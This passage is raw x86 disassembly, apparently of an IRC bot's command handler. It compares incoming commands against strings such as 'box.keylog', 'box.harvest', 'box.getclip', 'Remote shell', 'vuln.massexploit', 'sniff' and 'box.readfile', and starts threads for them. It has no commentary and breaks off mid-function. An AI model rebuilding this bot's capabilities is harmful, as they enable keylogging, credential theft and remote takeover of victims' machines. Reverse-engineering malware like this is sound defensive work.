		call	sub_415730
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_41227F
		push	edi
		push	offset aEnz_al	; "enz.al"
		call	sub_415730
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_41227F
		push	edi
		push	offset aEnz_log	; "enz.log"
		call	sub_415730
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_412190
		push	edi
		push	offset aEnz_lg	; "enz.lg"
		call	sub_415730
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_412190
		push	edi
		push	offset aUtil_clearlog ;	"util.clearlog"
		call	sub_415730
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_412174
		push	edi
		push	offset aUtil_clg ; "util.clg"
		call	sub_415730
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_412174
		push	edi
		push	offset aBox_netinfo ; "box.netinfo"
		call	sub_415730
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_41213A
		push	edi
		push	offset aBox_ni	; "box.ni"
		call	sub_415730
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_41213A
		push	edi
		push	offset aBox_sysinfo ; "box.sysinfo"
		call	sub_415730
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_41210F
		push	edi
		push	offset aBox_si	; "box.si"
		call	sub_415730
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_41210F
		push	edi
		push	offset aEnz_beg0ne ; "enz.beg0ne"
		call	sub_415730
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4120D5
		push	edi
		push	offset aEnz_b3g	; "enz.b3g"
		call	sub_415730
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4120D5
		push	edi
		push	offset aBox_procs ; "box.procs"
		call	sub_415730
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_411FB3
		push	edi
		push	offset aBox_ps	; "box.ps"
		call	sub_415730
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_411FB3
		push	edi
		push	offset aBox_harvest ; "box.harvest"
		call	sub_415730
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_411F89
		push	edi
		push	offset aBox_key	; "box.key"
		call	sub_415730
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_411F89
		push	edi
		push	offset aBox_uptime ; "box.uptime"
		call	sub_415730
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_411F02
		push	edi
		push	offset aBox_up	; "box.up"
		call	sub_415730
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_411F02
		push	edi
		push	offset aBox_driveinfo ;	"box.driveinfo"
		call	sub_415730
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_411EE5
		push	edi
		push	offset aBox_drv	; "box.drv"
		call	sub_415730
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_411EE5
		push	edi
		push	offset aBox_testdlls ; "box.testdlls"
		call	sub_415730
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_411ECC
		push	edi
		push	offset aBox_dll	; "box.dll"
		call	sub_415730
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_411ECC
		push	edi
		push	offset aBox_opencmd ; "box.opencmd"
		call	sub_415730
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_411E85
		push	edi
		push	offset aBox_ocmd ; "box.ocmd"
		call	sub_415730
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_411E85
		push	edi
		push	offset aBox_ocmd_off ; "box.ocmd.off"
		call	sub_415730
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40E302
		push	[ebp+esi+var_90]
		push	7
		push	offset aRemoteShell ; "Remote shell"
		push	offset aCmd	; "[CMD]"
		jmp	loc_4124C2
; ---------------------------------------------------------------------------


loc_40E302:				; CODE XREF: sub_40CD3A+15AEj
		push	edi
		push	offset aEnz_who	; "enz.who"
		call	sub_415730
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40E389
		cmp	[ebp+var_8], ebx
		jnz	short loc_40E332
		push	ebx
		push	[ebp+var_4]
		push	offset aLoginList ; "-[Login List]-"
		push	[ebp+var_8C]
		push	[ebp+arg_4]
		call	sub_412BD1
		add	esp, 14h


loc_40E332:				; CODE XREF: sub_40CD3A+15DCj
		mov	edi, [ebp+arg_18]
		xor	esi, esi


loc_40E337:				; CODE XREF: sub_40CD3A+1643j
		cmp	[edi], bl
		lea	eax, [edi+1]
		jnz	short loc_40E343
		mov	eax, offset aEmpty ; "<Empty>"


loc_40E343:				; CODE XREF: sub_40CD3A+1602j
		push	eax
		push	esi
		lea	eax, [ebp+var_2D8]
		push	offset aD_S	; "%d. %s"
		push	eax
		call	sub_415316
		push	1
		lea	eax, [ebp+var_2D8]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_8C]
		push	[ebp+arg_4]
		call	sub_412BD1
		add	esp, 24h
		inc	esi
		add	edi, 80h
		cmp	esi, 2
		jl	short loc_40E337
		push	offset dword_436314
		jmp	loc_41123A
; ---------------------------------------------------------------------------


loc_40E389:				; CODE XREF: sub_40CD3A+15D7j
		push	edi
		push	offset aBox_getclip ; "box.getclip"
		call	sub_415730
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_411E44
		push	edi
		push	offset aBox_gc	; "box.gc"
		call	sub_415730
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_411E44
		push	edi
		push	offset aUtil_flusharp ;	"util.flusharp"
		call	sub_415730
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_411E19
		push	edi
		push	offset aUtil_farp ; "util.farp"
		call	sub_415730
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_411E19
		push	edi
		push	offset aUtil_flushdns ;	"util.flushdns"
		call	sub_415730
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_411DE9
		push	edi
		push	offset aUtil_fdns ; "util.fdns"
		call	sub_415730
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_411DE9
		push	edi
		push	offset aVuln_currentip ; "vuln.currentip"
		call	sub_415730
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_411DAF
		push	edi
		push	offset aVuln_cip ; "vuln.cip"
		call	sub_415730
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_411DAF
		push	edi
		push	offset aServer_httpd_o ; "server.httpd.on"
		call	sub_415730
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_411C15
		push	edi
		push	offset aServer_web_on ;	"server.web.on"
		call	sub_415730
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_411C15
		push	edi
		push	offset aServer_tftp_on ; "server.tftp.on"
		call	sub_415730
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_411ADD
		push	edi
		push	offset aServer_tf_on ; "server.tf.on"
		call	sub_415730
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_411ADD
		push	edi
		push	offset aVuln_massexplo ; "vuln.massexploit"
		call	sub_415730
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4117DE
		push	edi
		push	offset aVall	; "vall"
		call	sub_415730
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4117DE
		mov	edi, [ebp+esi+var_90]
		cmp	edi, ebx
		jz	loc_40D18F
		push	[ebp+arg_8]
		push	offset aEnz_nick ; "enz.nick"
		call	sub_415730
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4117BD
		push	[ebp+arg_8]
		push	offset aEnz_n	; "enz.n"
		call	sub_415730
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4117BD
		push	[ebp+arg_8]
		push	offset aEnz_join ; "enz.join"
		call	sub_415730
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_41179D
		push	[ebp+arg_8]
		push	offset aEnz_j	; "enz.j"
		call	sub_415730
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_41179D
		push	[ebp+arg_8]
		push	offset aEnz_part ; "enz.part"
		call	sub_415730
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_411787
		push	[ebp+arg_8]
		push	offset aEnz_pt	; "enz.pt"
		call	sub_415730
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_411787
		push	[ebp+arg_8]
		push	offset aEnz_raw	; "enz.raw"
		call	sub_415730
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_411753
		push	[ebp+arg_8]
		push	offset aEnz_r	; "enz.r"
		call	sub_415730
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_411753
		push	[ebp+arg_8]
		push	offset aThreads_kill ; "threads.kill"
		call	sub_415730
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4116A3
		push	[ebp+arg_8]
		push	offset aThreads_k ; "threads.k"
		call	sub_415730
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4116A3
		push	[ebp+arg_8]
		push	offset aClone_quit ; "clone.quit"
		call	sub_415730
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4115F8
		push	[ebp+arg_8]
		push	offset aClone_q	; "clone.q"
		call	sub_415730
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4115F8
		push	[ebp+arg_8]
		push	offset aClone_rndnick ;	"clone.rndnick"
		call	sub_415730
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4115AD
		push	[ebp+arg_8]
		push	offset aClone_rn ; "clone.rn"
		call	sub_415730
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4115AD
		push	[ebp+arg_8]
		push	offset aEnz_prefix ; "enz.prefix"
		call	sub_415730
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_411598
		push	[ebp+arg_8]
		push	offset aEnz_pr	; "enz.pr"
		call	sub_415730
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_411598
		push	[ebp+arg_8]
		push	offset aBox_open ; "box.open"
		call	sub_415730
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_41156E
		push	[ebp+arg_8]
		push	offset aBox_o	; "box.o"
		call	sub_415730
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_41156E
		push	[ebp+arg_8]
		push	offset aEnz_setserve ; "enz.setserve"
		call	sub_415730
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_411549
		push	[ebp+arg_8]
		push	offset aEnz_se	; "enz.se"
		call	sub_415730
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_411549
		push	[ebp+arg_8]
		push	offset aEnz_dns	; "enz.dns"
		call	sub_415730
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4114EA
		push	[ebp+arg_8]
		push	offset aEnz_dn	; "enz.dn"
		call	sub_415730
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4114EA
		push	[ebp+arg_8]
		push	offset aBox_killprocna ; "box.killprocname"
		call	sub_415730
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4114BE
		push	[ebp+arg_8]
		push	offset aBox_kpn	; "box.kpn"
		call	sub_415730
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4114BE
		push	[ebp+arg_8]
		push	offset aBox_prockillid ; "box.prockillid"
		call	sub_415730
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_411463
		push	[ebp+arg_8]
		push	offset aBox_pkid ; "box.pkid"
		call	sub_415730
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_411463
		push	[ebp+arg_8]
		push	offset aBox_delete ; "box.delete"
		call	sub_415730
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_41142C
		push	[ebp+arg_8]
		push	offset aBox_del	; "box.del"
		call	sub_415730
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_41142C
		push	[ebp+arg_8]
		push	offset aDcc_get	; "dcc.get"
		call	sub_415730
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_41134C
		push	[ebp+arg_8]
		push	offset aDcc_gt	; "dcc.gt"
		call	sub_415730
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_41134C
		push	[ebp+arg_8]
		push	offset aBox_filelist ; "box.filelist"
		call	sub_415730
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_411331
		push	[ebp+arg_8]
		push	offset aBox_fl	; "box.fl"
		call	sub_415730
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_411331
		push	[ebp+arg_8]
		push	offset aEnz_visit ; "enz.visit"
		call	sub_415730
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_411245
		push	[ebp+arg_8]
		push	offset aEnz_v	; "enz.v"
		call	sub_415730
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_411245
		push	[ebp+arg_8]
		push	offset aMirc_cmd ; "mirc.cmd"
		call	sub_415730
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4111D1
		push	[ebp+arg_8]
		push	offset aMirc_cmd ; "mirc.cmd"
		call	sub_415730
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4111D1
		push	[ebp+arg_8]
		push	offset aBox_cmd	; "box.cmd"
		call	sub_415730
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_41117D
		push	[ebp+arg_8]
		push	offset aBox_cm	; "box.cm"
		call	sub_415730
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_41117D
		push	[ebp+arg_8]
		push	offset aBox_readfile ; "box.readfile"
		call	sub_415730
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4110F8
		push	[ebp+arg_8]
		push	offset aBox_rf	; "box.rf"
		call	sub_415730
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4110F8
		push	[ebp+arg_8]
		push	offset aSniff	; "sniff"
		call	sub_415730
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_40E9A2
		push	edi
		push	offset aOn	; "on"
		call	sub_415730
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_40E96A
		push	18h
		call	sub_41501C
		test	eax, eax
		pop	ecx
		jle	short loc_40E898
		push	offset unk_43606C
		jmp	loc_40F8E8
; ---------------------------------------------------------------------------


loc_40E898:				; CODE XREF: sub_40CD3A+1B52j
		mov	eax, [ebp+arg_4]
		mov	esi, [ebp+esi+var_8C]
		mov	[ebp+var_36C], eax
		mov	eax, [ebp+var_4]
		mov	[ebp+var_2E4], eax
		mov	eax, [ebp+var_8]
		cmp	esi, ebx
		mov	[ebp+var_2E0], eax
		jnz	short loc_40E8DA
		mov	esi, offset dword_42C310
		push	offset byte_43B658
		push	esi
		call	sub_415730
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40E8DA
		mov	esi, [ebp+var_8C]


loc_40E8DA:				; CODE XREF: sub_40CD3A+1B82j
					; sub_40CD3A+1B98j
		push	esi
		lea	eax, [ebp+var_368]
		push	80h
		push	eax
		call	sub_41588A
		lea	eax, [ebp+var_2D8]
		push	offset unk_436028
		push	eax
		call	sub_415316
		push	ebx
		lea	eax, [ebp+var_2D8]
		push	18h
		push	eax
		call	sub_414DDA
		add	esp, 20h
		mov	[ebp+var_2E8], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_36C]
		push	ebx
		push	eax
		push	offset sub_4024D0
		push	ebx
		push	ebx
		call	dword_42108C	; CreateThread
		mov	ecx, [ebp+var_2E8]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_441BAC[ecx], eax
		jnz	short loc_40E95D
		call	dword_421088	; RtlGetLastWin32Error
		push	eax
		push	offset unk_435FD8
		jmp	loc_40EAFE
; ---------------------------------------------------------------------------


loc_40E955:				; CODE XREF: sub_40CD3A+1C29j
		push	32h
		call	dword_421060	; Sleep


loc_40E95D:				; CODE XREF: sub_40CD3A+1C08j
		cmp	[ebp+var_2DC], ebx
		jz	short loc_40E955
		jmp	loc_40F8F6
; ---------------------------------------------------------------------------


loc_40E96A:				; CODE XREF: sub_40CD3A+1B42j
		push	edi
		push	offset aOff	; "off"
		call	sub_415730
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_40F8F6
		push	ebx
		push	18h
		call	sub_414FCF
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jle	short loc_40E998
		push	eax
		push	offset unk_435F88
		jmp	loc_40EAFE
; ---------------------------------------------------------------------------


loc_40E998:				; CODE XREF: sub_40CD3A+1C51j
		push	offset unk_435F4C
		jmp	loc_40F8E8
; ---------------------------------------------------------------------------


loc_40E9A2:				; CODE XREF: sub_40CD3A+1B2Dj
		push	[ebp+arg_8]
		push	offset aBox_keylog ; "box.keylog"
		call	sub_415730
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_40EB27
		push	edi
		push	offset aOn	; "on"
		call	sub_415730
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_40EA13
		push	edi
		push	offset aFile	; "file"
		call	sub_415730
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_40EA13
		push	edi
		push	offset aOff	; "off"
		call	sub_415730
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_40F8F6
		push	ebx
		push	1Ah
		call	sub_414FCF
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jle	short loc_40EA09
		push	eax
		push	offset unk_435EF0
		jmp	loc_40EAFE
; ---------------------------------------------------------------------------


loc_40EA09:				; CODE XREF: sub_40CD3A+1CC2j
		push	offset unk_435EB0
		jmp	loc_40F8E8
; ---------------------------------------------------------------------------


loc_40EA13:				; CODE XREF: sub_40CD3A+1C8Ej
					; sub_40CD3A+1C9Fj
		push	1Ah
		call	sub_41501C
		test	eax, eax
		pop	ecx
		jle	short loc_40EA29
		push	offset unk_435E7C
		jmp	loc_40F8E8
; ---------------------------------------------------------------------------


loc_40EA29:				; CODE XREF: sub_40CD3A+1CE3j
		mov	eax, [ebp+arg_4]
		push	edi
		mov	[ebp+var_36C], eax
		mov	eax, [ebp+var_4]
		push	offset aFile	; "file"
		mov	[ebp+var_2E4], eax
		call	sub_415730
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40EA58
		mov	[ebp+var_2E0], 1
		jmp	short loc_40EA61
; ---------------------------------------------------------------------------


loc_40EA58:				; CODE XREF: sub_40CD3A+1D10j
		mov	eax, [ebp+var_8]
		mov	[ebp+var_2E0], eax


loc_40EA61:				; CODE XREF: sub_40CD3A+1D1Cj
		mov	esi, [ebp+esi+var_8C]
		cmp	esi, ebx
		jnz	short loc_40EA88
		mov	esi, offset dword_42C308
		push	offset byte_43B658
		push	esi
		call	sub_415730
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40EA88
		mov	esi, [ebp+var_8C]


loc_40EA88:				; CODE XREF: sub_40CD3A+1D30j
					; sub_40CD3A+1D46j
		push	esi
		lea	eax, [ebp+var_364]
		push	80h
		push	eax
		call	sub_41588A
		lea	eax, [ebp+var_2D8]
		push	offset unk_435E48
		push	eax
		call	sub_415316
		push	ebx
		lea	eax, [ebp+var_2D8]
		push	1Ah
		push	eax
		call	sub_414DDA
		add	esp, 20h
		mov	[ebp+var_368], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_36C]
		push	ebx
		push	eax
		push	offset sub_4021FB
		push	ebx
		push	ebx
		call	dword_42108C	; CreateThread
		mov	ecx, [ebp+var_368]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_441BAC[ecx], eax
		jnz	short loc_40EB1A
		call	dword_421088	; RtlGetLastWin32Error
		push	eax
		push	offset unk_435DF8


loc_40EAFE:				; CODE XREF: sub_40CD3A+1C16j
					; sub_40CD3A+1C59j ...
		lea	eax, [ebp+var_2D8]
		push	eax
		call	sub_415316


loc_40EB0A:				; CODE XREF: sub_40CD3A+5A12j
		add	esp, 0Ch
		jmp	loc_40F8F6
; ---------------------------------------------------------------------------


loc_40EB12:				; CODE XREF: sub_40CD3A+1DE6j
		push	32h
		call	dword_421060	; Sleep


loc_40EB1A:				; CODE XREF: sub_40CD3A+1DB6j
		cmp	[ebp+var_2DC], ebx
		jz	short loc_40EB12
		jmp	loc_40F8F6
; ---------------------------------------------------------------------------


loc_40EB27:				; CODE XREF: sub_40CD3A+1C79j
		push	[ebp+arg_8]
		push	offset aBox_net	; "box.net"
		call	sub_415730
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_40EDD1
		cmp	dword_43CAF0, ebx
		jz	short loc_40EB58
		cmp	dword_43CB18, ebx
		jz	short loc_40EB58
		push	offset dword_435DA0
		jmp	loc_40EDBE
; ---------------------------------------------------------------------------


loc_40EB58:				; CODE XREF: sub_40CD3A+1E0Aj
					; sub_40CD3A+1E12j
		cmp	[ebp+var_C], ebx
		jz	loc_40F526
		mov	eax, [ebp+esi+var_8C]
		mov	[ebp+arg_0], ebx
		cmp	eax, ebx
		mov	[ebp+arg_18], eax
		jz	short loc_40EB80
		push	eax
		push	[ebp+var_C]
		call	sub_4158E0
		pop	ecx
		mov	[ebp+arg_0], eax
		pop	ecx


loc_40EB80:				; CODE XREF: sub_40CD3A+1E36j
		push	edi
		push	offset aStart	; "start"
		call	sub_415730
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40EBEC
		cmp	[ebp+arg_18], ebx
		jz	short loc_40EBBA
		push	[ebp+arg_0]
		push	3


loc_40EB9B:				; CODE XREF: sub_40CD3A+1EC8j
					; sub_40CD3A+1EE0j ...
		call	sub_412C6C
		push	eax
		lea	eax, [ebp+var_2D8]
		push	offset aS_1	; "%s"
		push	eax
		call	sub_415316
		add	esp, 14h
		jmp	loc_40F526
; ---------------------------------------------------------------------------


loc_40EBBA:				; CODE XREF: sub_40CD3A+1E5Aj
		push	[ebp+var_4]
		push	[ebp+var_8C]
		push	[ebp+arg_4]
		call	sub_412F13
		add	esp, 0Ch
		test	eax, eax
		lea	eax, [ebp+var_2D8]
		jz	short loc_40EBE2
		push	offset dword_435D64
		jmp	loc_40EDC4
; ---------------------------------------------------------------------------


loc_40EBE2:				; CODE XREF: sub_40CD3A+1E9Cj
		push	offset dword_435D30
		jmp	loc_40EDC4
; ---------------------------------------------------------------------------


loc_40EBEC:				; CODE XREF: sub_40CD3A+1E55j
		push	edi
		push	offset aStop	; "stop"
		call	sub_415730
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40EC04
		push	[ebp+arg_0]
		push	4
		jmp	short loc_40EB9B
; ---------------------------------------------------------------------------


loc_40EC04:				; CODE XREF: sub_40CD3A+1EC1j
		push	edi
		push	offset aPause	; "pause"
		call	sub_415730
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40EC1F
		push	[ebp+arg_0]
		push	5
		jmp	loc_40EB9B
; ---------------------------------------------------------------------------


loc_40EC1F:				; CODE XREF: sub_40CD3A+1ED9j
		push	edi
		push	offset aContinue ; "continue"
		call	sub_415730
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40EC3A
		push	[ebp+arg_0]
		push	6
		jmp	loc_40EB9B
; ---------------------------------------------------------------------------


loc_40EC3A:				; CODE XREF: sub_40CD3A+1EF4j
		push	edi
		push	offset aDelete	; "delete"
		call	sub_415730
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40EC55
		push	[ebp+arg_0]
		push	1
		jmp	loc_40EB9B
; ---------------------------------------------------------------------------


loc_40EC55:				; CODE XREF: sub_40CD3A+1F0Fj
		push	edi
		push	offset aShare	; "share"
		call	sub_415730
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40ECD8
		cmp	[ebp+arg_18], ebx
		jz	short loc_40ECA5
		cmp	[ebp+var_8FC], bl
		jz	short loc_40EC7B
		push	ebx
		push	[ebp+arg_18]
		push	1
		jmp	short loc_40EC86
; ---------------------------------------------------------------------------


loc_40EC7B:				; CODE XREF: sub_40CD3A+1F37j
		push	[ebp+esi+var_88]
		push	[ebp+arg_18]
		push	ebx


loc_40EC86:				; CODE XREF: sub_40CD3A+1F3Fj
		call	sub_413053
		push	eax
		lea	eax, [ebp+var_2D8]
		push	offset aS_1	; "%s"
		push	eax
		call	sub_415316
		add	esp, 18h
		jmp	loc_40F526
; ---------------------------------------------------------------------------


loc_40ECA5:				; CODE XREF: sub_40CD3A+1F2Fj
		push	ebx
		push	[ebp+var_4]
		push	[ebp+var_8C]
		push	[ebp+arg_4]
		call	sub_413248
		add	esp, 10h
		test	eax, eax
		lea	eax, [ebp+var_2D8]
		jz	short loc_40ECCE
		push	offset dword_435CDC
		jmp	loc_40EDC4
; ---------------------------------------------------------------------------


loc_40ECCE:				; CODE XREF: sub_40CD3A+1F88j
		push	offset dword_435CA8
		jmp	loc_40EDC4
; ---------------------------------------------------------------------------


loc_40ECD8:				; CODE XREF: sub_40CD3A+1F2Aj
		push	edi
		push	offset aUser	; "user"
		call	sub_415730
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_40ED6E
		mov	eax, [ebp+arg_18]
		cmp	eax, ebx
		jz	short loc_40ED41
		push	[ebp+var_4]
		cmp	[ebp+var_8FC], bl
		push	[ebp+var_8C]
		push	[ebp+arg_4]
		jz	short loc_40ED0E
		push	ebx
		push	eax
		push	1
		jmp	short loc_40ED22
; ---------------------------------------------------------------------------


loc_40ED0E:				; CODE XREF: sub_40CD3A+1FCCj
		mov	esi, [ebp+esi+var_88]
		cmp	esi, ebx
		jz	short loc_40ED1E
		push	esi
		push	eax
		push	ebx
		jmp	short loc_40ED22
; ---------------------------------------------------------------------------


loc_40ED1E:				; CODE XREF: sub_40CD3A+1FDDj
		push	ebx
		push	eax
		push	2


loc_40ED22:				; CODE XREF: sub_40CD3A+1FD2j
					; sub_40CD3A+1FE2j
		call	sub_413369
		push	eax
		lea	eax, [ebp+var_2D8]
		push	offset aS_1	; "%s"
		push	eax
		call	sub_415316
		add	esp, 24h
		jmp	loc_40F526
; ---------------------------------------------------------------------------


loc_40ED41:				; CODE XREF: sub_40CD3A+1FB8j
		push	ebx
		push	[ebp+var_4]
		push	[ebp+var_8C]
		push	[ebp+arg_4]
		call	sub_41387D
		add	esp, 10h
		test	eax, eax
		lea	eax, [ebp+var_2D8]
		jz	short loc_40ED67
		push	offset dword_435C6C
		jmp	short loc_40EDC4
; ---------------------------------------------------------------------------


loc_40ED67:				; CODE XREF: sub_40CD3A+2024j
		push	offset dword_435C3C
		jmp	short loc_40EDC4
; ---------------------------------------------------------------------------


loc_40ED6E:				; CODE XREF: sub_40CD3A+1FADj
		push	edi
		push	offset aSend	; "send"
		call	sub_415730
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40EDB9
		cmp	[ebp+arg_18], ebx
		jz	short loc_40EDB2
		push	[ebp+var_4]
		push	[ebp+var_8C]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_413B27
		push	eax
		lea	eax, [ebp+var_2D8]
		push	offset aS_1	; "%s"
		push	eax
		call	sub_415316
		add	esp, 1Ch
		jmp	loc_40F526
; ---------------------------------------------------------------------------


loc_40EDB2:				; CODE XREF: sub_40CD3A+2048j
		push	offset dword_435C08
		jmp	short loc_40EDBE
; ---------------------------------------------------------------------------


loc_40EDB9:				; CODE XREF: sub_40CD3A+2043j
		push	offset dword_435BD8


loc_40EDBE:				; CODE XREF: sub_40CD3A+1E19j
					; sub_40CD3A+207Dj ...
		lea	eax, [ebp+var_2D8]


loc_40EDC4:				; CODE XREF: sub_40CD3A+1EA3j
					; sub_40CD3A+1EADj ...
		push	eax
		call	sub_415316
		pop	ecx
		pop	ecx
		jmp	loc_40F526
; ---------------------------------------------------------------------------


loc_40EDD1:				; CODE XREF: sub_40CD3A+1DFEj
		push	[ebp+arg_8]
		push	offset aEnz_gethost ; "enz.gethost"
		call	sub_415730
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_41101A
		push	[ebp+arg_8]
		push	offset aEnz_gh	; "enz.gh"
		call	sub_415730
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_41101A
		mov	eax, [ebp+esi+var_8C]
		cmp	eax, ebx
		mov	[ebp+arg_18], eax
		jz	loc_40D18F
		push	[ebp+arg_8]
		push	offset aEnz_addalias ; "enz.addalias"
		call	sub_415730
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_410FDB
		push	[ebp+arg_8]
		push	offset aEnz_aa	; "enz.aa"
		call	sub_415730
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_410FDB
		push	[ebp+arg_8]
		push	offset aEnz_privmsg ; "enz.privmsg"
		call	sub_415730
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_410F85
		push	[ebp+arg_8]
		push	offset aEnz_pm	; "enz.pm"
		call	sub_415730
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_410F85
		push	[ebp+arg_8]
		push	offset aEnz_action ; "enz.action"
		call	sub_415730
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_410F17
		push	[ebp+arg_8]
		push	offset aEnz_ac	; "enz.ac"
		call	sub_415730
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_410F17
		push	[ebp+arg_8]
		push	offset aEnz_cycle ; "enz.cycle"
		call	sub_415730
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_410EB1
		push	[ebp+arg_8]
		push	offset aEnz_cy	; "enz.cy"
		call	sub_415730
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_410EB1
		push	[ebp+arg_8]
		push	offset aEnz_mode ; "enz.mode"
		call	sub_415730
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_410E7A
		push	[ebp+arg_8]
		push	offset aEnz_m	; "enz.m"
		call	sub_415730
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_410E7A
		push	[ebp+arg_8]
